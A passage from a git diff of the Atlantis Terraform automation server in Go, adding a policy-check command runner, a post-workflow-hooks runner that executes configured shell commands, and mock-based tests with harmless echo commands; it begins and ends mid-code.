!= c.ExpVCSApplyStatusTotal { + ExpCommitStatus = models.PendingCommitStatus + } + if c.DoNotUpdateApply { + commitUpdater.VerifyWasCalled(Never()).UpdateCombinedCount( + Any[logging.SimpleLogging](), + Any[models.Repo](), + Any[models.PullRequest](), + Any[models.CommitStatus](), + Eq[command.Name](command.Apply), + AnyInt(), + AnyInt(), + ) + } else { + commitUpdater.VerifyWasCalledOnce().UpdateCombinedCount( + Any[logging.SimpleLogging](), + Any[models.Repo](), + Any[models.PullRequest](), + Eq[models.CommitStatus](ExpCommitStatus), + Eq[command.Name](command.Apply), + Eq(c.ExpVCSApplyStatusSucc), + Eq(c.ExpVCSApplyStatusTotal), + ) + } + }) + } +} diff --git a/server/events/policy_check_command_runner.go b/server/events/policy_check_command_runner.go new file mode 100644 index 0000000000..2f76237f4d --- /dev/null +++ b/server/events/policy_check_command_runner.go @@ -0,0 +1,100 @@ +package events + +import ( + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" +) + +func NewPolicyCheckCommandRunner( + dbUpdater *DBUpdater, + pullUpdater *PullUpdater, + commitStatusUpdater CommitStatusUpdater, + projectCommandRunner ProjectPolicyCheckCommandRunner, + parallelPoolSize int, + silenceVCSStatusNoProjects bool, + quietPolicyChecks bool, +) *PolicyCheckCommandRunner { + return &PolicyCheckCommandRunner{ + dbUpdater: dbUpdater, + pullUpdater: pullUpdater, + commitStatusUpdater: commitStatusUpdater, + prjCmdRunner: projectCommandRunner, + parallelPoolSize: parallelPoolSize, + silenceVCSStatusNoProjects: silenceVCSStatusNoProjects, + quietPolicyChecks: quietPolicyChecks, + } +} + +type PolicyCheckCommandRunner struct { + dbUpdater *DBUpdater + pullUpdater *PullUpdater + commitStatusUpdater CommitStatusUpdater + prjCmdRunner ProjectPolicyCheckCommandRunner + parallelPoolSize int + // SilenceVCSStatusNoProjects is whether any plan should set commit status if no projects + // are found + silenceVCSStatusNoProjects bool + quietPolicyChecks bool +} + +func (p *PolicyCheckCommandRunner) Run(ctx *command.Context, cmds []command.ProjectContext) { + if len(cmds) == 0 { + ctx.Log.Info("no projects to run policy_check in") + if !p.silenceVCSStatusNoProjects { + // If there were no projects modified, we set successful commit statuses + // with 0/0 projects policy_checked successfully because some users require + // the Atlantis status to be passing for all pull requests. + ctx.Log.Debug("setting VCS status to success with no projects found") + if err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.SuccessCommitStatus, command.PolicyCheck, 0, 0); err != nil { + ctx.Log.Warn("unable to update commit status: %s", err) + } + } + return + } + + // So set policy_check commit status to pending + if err := p.commitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.PendingCommitStatus, command.PolicyCheck); err != nil { + ctx.Log.Warn("unable to update commit status: %s", err) + } + + var result command.Result + if p.isParallelEnabled(cmds) { + ctx.Log.Info("Running policy_checks in parallel") + result = runProjectCmdsParallel(cmds, p.prjCmdRunner.PolicyCheck, p.parallelPoolSize) + } else { + result = runProjectCmds(cmds, p.prjCmdRunner.PolicyCheck) + } + + // Quiet policy checks unless there's an error + if result.HasErrors() || !p.quietPolicyChecks { + p.pullUpdater.updatePull(ctx, PolicyCheckCommand{}, result) + } + + pullStatus, err := p.dbUpdater.updateDB(ctx, ctx.Pull, result.ProjectResults) + if err != nil { + ctx.Log.Err("writing results: %s", err) + } + + p.updateCommitStatus(ctx, pullStatus) +} + +func (p *PolicyCheckCommandRunner) updateCommitStatus(ctx *command.Context, pullStatus models.PullStatus) { + var numSuccess int + var numErrored int + status := models.SuccessCommitStatus + + numSuccess = pullStatus.StatusCount(models.PassedPolicyCheckStatus) + numErrored = pullStatus.StatusCount(models.ErroredPolicyCheckStatus) + + if numErrored > 0 { + status = models.FailedCommitStatus + } + + if err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, status, command.PolicyCheck, numSuccess, len(pullStatus.Projects)); err != nil { + ctx.Log.Warn("unable to update commit status: %s", err) + } +} + +func (p *PolicyCheckCommandRunner) isParallelEnabled(cmds []command.ProjectContext) bool { + return len(cmds) > 0 && cmds[0].ParallelPolicyCheckEnabled +} diff --git a/server/events/post_workflow_hooks_command_runner.go b/server/events/post_workflow_hooks_command_runner.go new file mode 100644 index 0000000000..ba3bb5d6d3 --- /dev/null +++ b/server/events/post_workflow_hooks_command_runner.go @@ -0,0 +1,155 @@ +package events + +import ( + "fmt" + "strings" + + "github.com/google/uuid" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/core/runtime" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/events/vcs" +) + +//go:generate pegomock generate --package mocks -o mocks/mock_post_workflow_hook_url_generator.go PostWorkflowHookURLGenerator + +// PostWorkflowHookURLGenerator generates urls to view the post workflow progress. +type PostWorkflowHookURLGenerator interface { + GenerateProjectWorkflowHookURL(hookID string) (string, error) +} + +//go:generate pegomock generate --package mocks -o mocks/mock_post_workflows_hooks_command_runner.go PostWorkflowHooksCommandRunner + +type PostWorkflowHooksCommandRunner interface { + RunPostHooks(ctx *command.Context, cmd *CommentCommand) error +} + +// DefaultPostWorkflowHooksCommandRunner is the first step when processing a workflow hook commands. +type DefaultPostWorkflowHooksCommandRunner struct { + VCSClient vcs.Client `validate:"required"` + WorkingDirLocker WorkingDirLocker `validate:"required"` + WorkingDir WorkingDir `validate:"required"` + GlobalCfg valid.GlobalCfg `validate:"required"` + PostWorkflowHookRunner runtime.PostWorkflowHookRunner `validate:"required"` + CommitStatusUpdater CommitStatusUpdater `validate:"required"` + Router PostWorkflowHookURLGenerator `validate:"required"` +} + +// RunPostHooks runs post_workflow_hooks after a plan/apply has completed +func (w *DefaultPostWorkflowHooksCommandRunner) RunPostHooks(ctx *command.Context, cmd *CommentCommand) error { + postWorkflowHooks := make([]*valid.WorkflowHook, 0) + for _, repo := range w.GlobalCfg.Repos { + if repo.IDMatches(ctx.Pull.BaseRepo.ID()) && repo.BranchMatches(ctx.Pull.BaseBranch) && len(repo.PostWorkflowHooks) > 0 { + postWorkflowHooks = append(postWorkflowHooks, repo.PostWorkflowHooks...) + } + } + + // short circuit any other calls if there are no post-hooks configured + if len(postWorkflowHooks) == 0 { + return nil + } + + ctx.Log.Info("Post-workflow hooks configured, running...") + + unlockFn, err := w.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, DefaultWorkspace, DefaultRepoRelDir) + if err != nil { + return err + } + ctx.Log.Debug("got workspace lock") + defer unlockFn() + + repoDir, err := w.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, DefaultWorkspace) + if err != nil { + return err + } + + var escapedArgs []string + if cmd != nil { + escapedArgs = escapeArgs(cmd.Flags) + } + + err = w.runHooks( + models.WorkflowHookCommandContext{ + BaseRepo: ctx.Pull.BaseRepo, + HeadRepo: ctx.HeadRepo, + Log: ctx.Log, + Pull: ctx.Pull, + User: ctx.User, + Verbose: false, + EscapedCommentArgs: escapedArgs, + CommandName: cmd.Name.String(), + CommandHasErrors: ctx.CommandHasErrors, + API: ctx.API, + }, + postWorkflowHooks, repoDir) + + if err != nil { + ctx.Log.Err("Error running post-workflow hooks %s.", err) + return err + } + + return nil +} + +func (w *DefaultPostWorkflowHooksCommandRunner) runHooks( + ctx models.WorkflowHookCommandContext, + postWorkflowHooks []*valid.WorkflowHook, + repoDir string, +) error { + + for i, hook := range postWorkflowHooks { + ctx.HookDescription = hook.StepDescription + if ctx.HookDescription == "" { + ctx.HookDescription = fmt.Sprintf("Post workflow hook #%d", i) + } + + ctx.HookStepName = fmt.Sprintf("post %s #%d", ctx.CommandName, i) + + ctx.Log.Debug("Processing post workflow hook '%s', Command '%s', Target commands [%s]", + ctx.HookDescription, ctx.CommandName, hook.Commands) + if hook.Commands != "" && !strings.Contains(hook.Commands, ctx.CommandName) { + ctx.Log.Debug("Skipping post workflow hook '%s' as command '%s' is not in Commands [%s]", + ctx.HookDescription, ctx.CommandName, hook.Commands) + continue + } + + ctx.Log.Debug("Running post workflow hook: '%s'", ctx.HookDescription) + ctx.HookID = uuid.NewString() + shell := hook.Shell + if shell == "" { + ctx.Log.Debug("Setting shell to default: '%s'", shell) + shell = "sh" + } + shellArgs := hook.ShellArgs + if shellArgs == "" { + ctx.Log.Debug("Setting shellArgs to default: '%s'", shellArgs) + shellArgs = "-c" + } + url, err := w.Router.GenerateProjectWorkflowHookURL(ctx.HookID) + if err != nil && !ctx.API { + return err + } + + if err := w.CommitStatusUpdater.UpdatePostWorkflowHook(ctx.Log, ctx.Pull, models.PendingCommitStatus, ctx.HookDescription, "", url); err != nil { + ctx.Log.Warn("unable to update post workflow hook status: %s", err) + } + + _, runtimeDesc, err := w.PostWorkflowHookRunner.Run(ctx, hook.RunCommand, shell, shellArgs, repoDir) + + if err != nil { + if err := w.CommitStatusUpdater.UpdatePostWorkflowHook(ctx.Log, ctx.Pull, models.FailedCommitStatus, ctx.HookDescription, runtimeDesc, url); err != nil { + ctx.Log.Warn("unable to update post workflow hook status: %s", err) + } + return err + } + + if err := w.CommitStatusUpdater.UpdatePostWorkflowHook(ctx.Log, ctx.Pull, models.SuccessCommitStatus, ctx.HookDescription, runtimeDesc, url); err != nil { + ctx.Log.Warn("unable to update post workflow hook status: %s", err) + } + } + + ctx.Log.Info("Post-workflow hooks completed") + + return nil +} diff --git a/server/events/post_workflow_hooks_command_runner_test.go b/server/events/post_workflow_hooks_command_runner_test.go new file mode 100644 index 0000000000..897656e7a1 --- /dev/null +++ b/server/events/post_workflow_hooks_command_runner_test.go @@ -0,0 +1,620 @@ +package events_test + +import ( + "errors" + "fmt" + "reflect" + "testing" + + "github.com/google/uuid" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/core/config/valid" + runtime_mocks "github.com/runatlantis/atlantis/server/core/runtime/mocks" + "github.com/runatlantis/atlantis/server/events" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/mocks" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/events/models/testdata" + vcsmocks "github.com/runatlantis/atlantis/server/events/vcs/mocks" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" +) + +type WorkflowHookCommandContextMatcher struct { + expected models.WorkflowHookCommandContext +} + +func (m WorkflowHookCommandContextMatcher) Matches(param Param) bool { + actual, ok := param.(models.WorkflowHookCommandContext) + if !ok { + return false + } + + if err := uuid.Validate(actual.HookID); err != nil { + return false + } + + actual.HookID = "" + m.expected.HookID = "" + return reflect.DeepEqual(m.expected, actual) +} + +func (m WorkflowHookCommandContextMatcher) String() string { + return fmt.Sprintf("WorkflowHookCommandContex(%#v)", m.expected) +} + +var postWh events.DefaultPostWorkflowHooksCommandRunner +var postWhWorkingDir *mocks.MockWorkingDir +var postWhWorkingDirLocker *mocks.MockWorkingDirLocker +var whPostWorkflowHookRunner *runtime_mocks.MockPostWorkflowHookRunner +var postCommitStatusUpdater *mocks.MockCommitStatusUpdater + +func postWorkflowHooksSetup(t *testing.T) { + RegisterMockTestingT(t) + vcsClient := vcsmocks.NewMockClient() + postWhWorkingDir = mocks.NewMockWorkingDir() + postWhWorkingDirLocker = mocks.NewMockWorkingDirLocker() + whPostWorkflowHookRunner = runtime_mocks.NewMockPostWorkflowHookRunner() + postCommitStatusUpdater = mocks.NewMockCommitStatusUpdater() + postWorkflowHookURLGenerator := mocks.NewMockPostWorkflowHookURLGenerator() + + postWh = events.DefaultPostWorkflowHooksCommandRunner{ + VCSClient: vcsClient, + WorkingDirLocker: postWhWorkingDirLocker, + WorkingDir: postWhWorkingDir, + PostWorkflowHookRunner: whPostWorkflowHookRunner, + CommitStatusUpdater: postCommitStatusUpdater, + Router: postWorkflowHookURLGenerator, + } +} + +func TestRunPostHooks_Clone(t *testing.T) { + + log := logging.NewNoopLogger(t) + + var newPull = testdata.Pull + newPull.BaseRepo = testdata.GithubRepo + + ctx := &command.Context{ + Pull: newPull, + HeadRepo: testdata.GithubRepo, + User: testdata.User, + Log: log, + } + + defaultShell := "sh" + defaultShellArgs := "-c" + + testHook := valid.WorkflowHook{ + StepName: "test", + RunCommand: "some command", + } + + testHookWithShell := valid.WorkflowHook{ + StepName: "test1", + RunCommand: "echo test1", + Shell: "bash", + } + + testHookWithShellArgs := valid.WorkflowHook{ + StepName: "test2", + RunCommand: "echo test2", + ShellArgs: "-ce", + } + + testHookWithShellandShellArgs := valid.WorkflowHook{ + StepName: "test3", + RunCommand: "echo test3", + Shell: "bash", + ShellArgs: "-ce", + } + + testHookWithPlanCommand := valid.WorkflowHook{ + StepName: "test4", + RunCommand: "echo test4", + Commands: "plan", + } + + testHookWithPlanApplyCommands := valid.WorkflowHook{ + StepName: "test5", + RunCommand: "echo test5", + Commands: "plan, apply", + } + + repoDir := "path/to/repo" + result := "some result" + runtimeDesc := "" + + pCtx := models.WorkflowHookCommandContext{ + BaseRepo: testdata.GithubRepo, + HeadRepo: testdata.GithubRepo, + Pull: newPull, + Log: log, + User: testdata.User, + Verbose: false, + HookID: uuid.NewString(), + CommandName: "plan", + } + + planCmd := &events.CommentCommand{ + Name: command.Plan, + } + + applyCmd := &events.CommentCommand{ + Name: command.Apply, + } + + t.Run("success hooks in cfg", func(t *testing.T) { + postWorkflowHooksSetup(t) + + unlockCalled := newBool(false) + unlockFn := func() { + unlockCalled = newBool(true) + } + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PostWorkflowHooks: []*valid.WorkflowHook{ + &testHook, + }, + }, + }, + } + + postWh.GlobalCfg = globalCfg + + When(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(unlockFn, nil) + When(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) + When(whPostWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), Any[string](), + Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) + + err := postWh.RunPostHooks(ctx, planCmd) + + Ok(t, err) + whPostWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), + Eq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir)) + Assert(t, *unlockCalled == true, "unlock function called") + }) + t.Run("success hooks in cfg, check context with failed command", func(t *testing.T) { + postWorkflowHooksSetup(t) + + unlockCalled := newBool(false) + unlockFn := func() { + unlockCalled = newBool(true) + } + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PostWorkflowHooks: []*valid.WorkflowHook{ + &testHook, + }, + }, + }, + } + + postWh.GlobalCfg = globalCfg + ctx.CommandHasErrors = true + + expectedCtx := pCtx + expectedCtx.CommandHasErrors = true + expectedCtx.HookStepName = "post plan #0" + expectedCtx.HookDescription = "Post workflow hook #0" + + When(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(unlockFn, nil) + When(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) + When(whPostWorkflowHookRunner.Run( + ArgThat[models.WorkflowHookCommandContext](WorkflowHookCommandContextMatcher{expected: expectedCtx}), + Eq(testHook.RunCommand), + Any[string](), + Any[string](), + Eq(repoDir), + )).ThenReturn(result, runtimeDesc, nil) + + err := postWh.RunPostHooks(ctx, planCmd) + + Ok(t, err) + whPostWorkflowHookRunner.VerifyWasCalledOnce().Run( + ArgThat[models.WorkflowHookCommandContext](WorkflowHookCommandContextMatcher{expected: expectedCtx}), + Eq(testHook.RunCommand), + Eq(defaultShell), + Eq(defaultShellArgs), + Eq(repoDir)) + Assert(t, *unlockCalled == true, "unlock function called") + }) + t.Run("success hooks not in cfg", func(t *testing.T) { + postWorkflowHooksSetup(t) + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + // one with hooks but mismatched id + { + ID: "id1", + PostWorkflowHooks: []*valid.WorkflowHook{ + &testHook, + }, + }, + // one with the correct id but no hooks + { + ID: testdata.GithubRepo.ID(), + PostWorkflowHooks: []*valid.WorkflowHook{}, + }, + }, + } + + postWh.GlobalCfg = globalCfg + + err := postWh.RunPostHooks(ctx, planCmd) + + Ok(t, err) + + whPostWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](), + Eq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir)) + postWhWorkingDirLocker.VerifyWasCalled(Never()).TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, "path") + postWhWorkingDir.VerifyWasCalled(Never()).Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace)) + }) + t.Run("error locking work dir", func(t *testing.T) { + postWorkflowHooksSetup(t) + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PostWorkflowHooks: []*valid.WorkflowHook{ + &testHook, + }, + }, + }, + } + + postWh.GlobalCfg = globalCfg + + When(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(func() {}, errors.New("some error")) + + err := postWh.RunPostHooks(ctx, planCmd) + + Assert(t, err != nil, "error not nil") + postWhWorkingDir.VerifyWasCalled(Never()).Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace)) + whPostWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](), + Eq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir)) + }) + + t.Run("error cloning", func(t *testing.T) { + postWorkflowHooksSetup(t) + + unlockCalled := newBool(false) + unlockFn := func() { + unlockCalled = newBool(true) + } + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PostWorkflowHooks: []*valid.WorkflowHook{ + &testHook, + }, + }, + }, + } + + postWh.GlobalCfg = globalCfg + + When(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(unlockFn, nil) + When(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace))).ThenReturn(repoDir, errors.New("some error")) + + err := postWh.RunPostHooks(ctx, planCmd) + + Assert(t, err != nil, "error not nil") + + whPostWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](), + Eq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir)) + Assert(t, *unlockCalled == true, "unlock function called") + }) + + t.Run("error running post hook", func(t *testing.T) { + postWorkflowHooksSetup(t) + + unlockCalled := newBool(false) + unlockFn := func() { + unlockCalled = newBool(true) + } + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PostWorkflowHooks: []*valid.WorkflowHook{ + &testHook, + }, + }, + }, + } + + postWh.GlobalCfg = globalCfg + + When(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(unlockFn, nil) + When(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) + When(whPostWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), + Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, errors.New("some error")) + + err := postWh.RunPostHooks(ctx, planCmd) + + Assert(t, err != nil, "error not nil") + Assert(t, *unlockCalled == true, "unlock function called") + }) + + t.Run("comment args passed to webhooks", func(t *testing.T) { + postWorkflowHooksSetup(t) + + unlockCalled := newBool(false) + unlockFn := func() { + unlockCalled = newBool(true) + } + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PostWorkflowHooks: []*valid.WorkflowHook{ + &testHook, + }, + }, + }, + } + + planCmd := &events.CommentCommand{ + Name: command.Plan, + Flags: []string{"comment", "args"}, + } + + expectedCtx := pCtx + expectedCtx.EscapedCommentArgs = []string{"\\c\\o\\m\\m\\e\\n\\t", "\\a\\r\\g\\s"} + + postWh.GlobalCfg = globalCfg + + When(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(unlockFn, nil) + When(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) + When(whPostWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), + Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) + + err := postWh.RunPostHooks(ctx, planCmd) + + Ok(t, err) + whPostWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), + Eq(testHook.RunCommand), Eq(defaultShell), Eq(defaultShellArgs), Eq(repoDir)) + Assert(t, *unlockCalled == true, "unlock function called") + }) + + t.Run("shell passed to webhooks", func(t *testing.T) { + postWorkflowHooksSetup(t) + + var unlockCalled = newBool(false) + unlockFn := func() { + unlockCalled = newBool(true) + } + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PostWorkflowHooks: []*valid.WorkflowHook{ + &testHookWithShell, + }, + }, + }, + } + + postWh.GlobalCfg = globalCfg + + When(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(unlockFn, nil) + When(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) + When(whPostWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithShell.RunCommand), + Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) + + err := postWh.RunPostHooks(ctx, planCmd) + + Ok(t, err) + whPostWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), + Eq(testHookWithShell.RunCommand), Eq(testHookWithShell.Shell), Eq(defaultShellArgs), Eq(repoDir)) + Assert(t, *unlockCalled == true, "unlock function called") + }) + + t.Run("shellArgs passed to webhooks", func(t *testing.T) { + postWorkflowHooksSetup(t) + + var unlockCalled = newBool(false) + unlockFn := func() { + unlockCalled = newBool(true) + } + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PostWorkflowHooks: []*valid.WorkflowHook{ + &testHookWithShellArgs, + }, + }, + }, + } + + postWh.GlobalCfg = globalCfg + + When(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(unlockFn, nil) + When(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) + When(whPostWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHook.RunCommand), + Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) + + err := postWh.RunPostHooks(ctx, planCmd) + + Ok(t, err) + whPostWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), + Eq(testHookWithShellArgs.RunCommand), Eq(defaultShell), Eq(testHookWithShellArgs.ShellArgs), Eq(repoDir)) + Assert(t, *unlockCalled == true, "unlock function called") + }) + + t.Run("Shell and ShellArgs passed to webhooks", func(t *testing.T) { + postWorkflowHooksSetup(t) + + var unlockCalled = newBool(false) + unlockFn := func() { + unlockCalled = newBool(true) + } + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PostWorkflowHooks: []*valid.WorkflowHook{ + &testHookWithShellandShellArgs, + }, + }, + }, + } + + postWh.GlobalCfg = globalCfg + + When(postWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(unlockFn, nil) + When(postWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) + When(whPostWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithShellandShellArgs.RunCommand), + Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) + + err := postWh.RunPostHooks(ctx, planCmd) + + Ok(t, err) + whPostWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), + Eq(testHookWithShellandShellArgs.RunCommand), Eq(testHookWithShellandShellArgs.Shell), + Eq(testHookWithShellandShellArgs.ShellArgs), Eq(repoDir)) + Assert(t, *unlockCalled == true, "unlock function called") + }) + + t.Run("Commands 'plan' set on webhook and plan command", func(t *testing.T) { + preWorkflowHooksSetup(t) + + var unlockCalled = newBool(false) + unlockFn := func() { + unlockCalled = newBool(true) + } + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PreWorkflowHooks: []*valid.WorkflowHook{ + &testHookWithPlanCommand, + }, + }, + }, + } + + preWh.GlobalCfg = globalCfg + + When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(unlockFn, nil) + When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) + When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), + Eq(testHookWithPlanCommand.RunCommand), Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) + + err := preWh.RunPreHooks(ctx, planCmd) + + Ok(t, err) + whPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), + Eq(testHookWithPlanCommand.RunCommand), Any[string](), Any[string](), Eq(repoDir)) + Assert(t, *unlockCalled == true, "unlock function called") + }) + + t.Run("Commands 'plan' set on webhook and non-plan command", func(t *testing.T) { + preWorkflowHooksSetup(t) + + var unlockCalled = newBool(false) + unlockFn := func() { + unlockCalled = newBool(true) + } + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PreWorkflowHooks: []*valid.WorkflowHook{ + &testHookWithPlanCommand, + }, + }, + }, + } + + preWh.GlobalCfg = globalCfg + + When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(unlockFn, nil) + When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) + When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanCommand.RunCommand), + Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) + + err := preWh.RunPreHooks(ctx, applyCmd) + + Ok(t, err) + whPreWorkflowHookRunner.VerifyWasCalled(Never()).Run(Any[models.WorkflowHookCommandContext](), + Eq(testHookWithPlanCommand.RunCommand), Any[string](), Any[string](), Eq(repoDir)) + Assert(t, *unlockCalled == true, "unlock function called") + }) + + t.Run("Commands 'plan, apply' set on webhook and plan command", func(t *testing.T) { + preWorkflowHooksSetup(t) + + var unlockCalled = newBool(false) + unlockFn := func() { + unlockCalled = newBool(true) + } + + globalCfg := valid.GlobalCfg{ + Repos: []valid.Repo{ + { + ID: testdata.GithubRepo.ID(), + PreWorkflowHooks: []*valid.WorkflowHook{ + &testHookWithPlanApplyCommands, + }, + }, + }, + } + + preWh.GlobalCfg = globalCfg + + When(preWhWorkingDirLocker.TryLock(testdata.GithubRepo.FullName, newPull.Num, events.DefaultWorkspace, + events.DefaultRepoRelDir)).ThenReturn(unlockFn, nil) + When(preWhWorkingDir.Clone(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(newPull), + Eq(events.DefaultWorkspace))).ThenReturn(repoDir, nil) + When(whPreWorkflowHookRunner.Run(Any[models.WorkflowHookCommandContext](), Eq(testHookWithPlanApplyCommands.RunCommand), + Any[string](), Any[string](), Eq(repoDir))).ThenReturn(result, runtimeDesc, nil) + + err := preWh.RunPreHooks(ctx, planCmd) + + Ok(t, err) + whPreWorkflowHookRunner.VerifyWasCalledOnce().Run(Any[models.WorkflowHookCommandContext](), + Eq(testHookWithPlanApplyCommands.RunCommand), 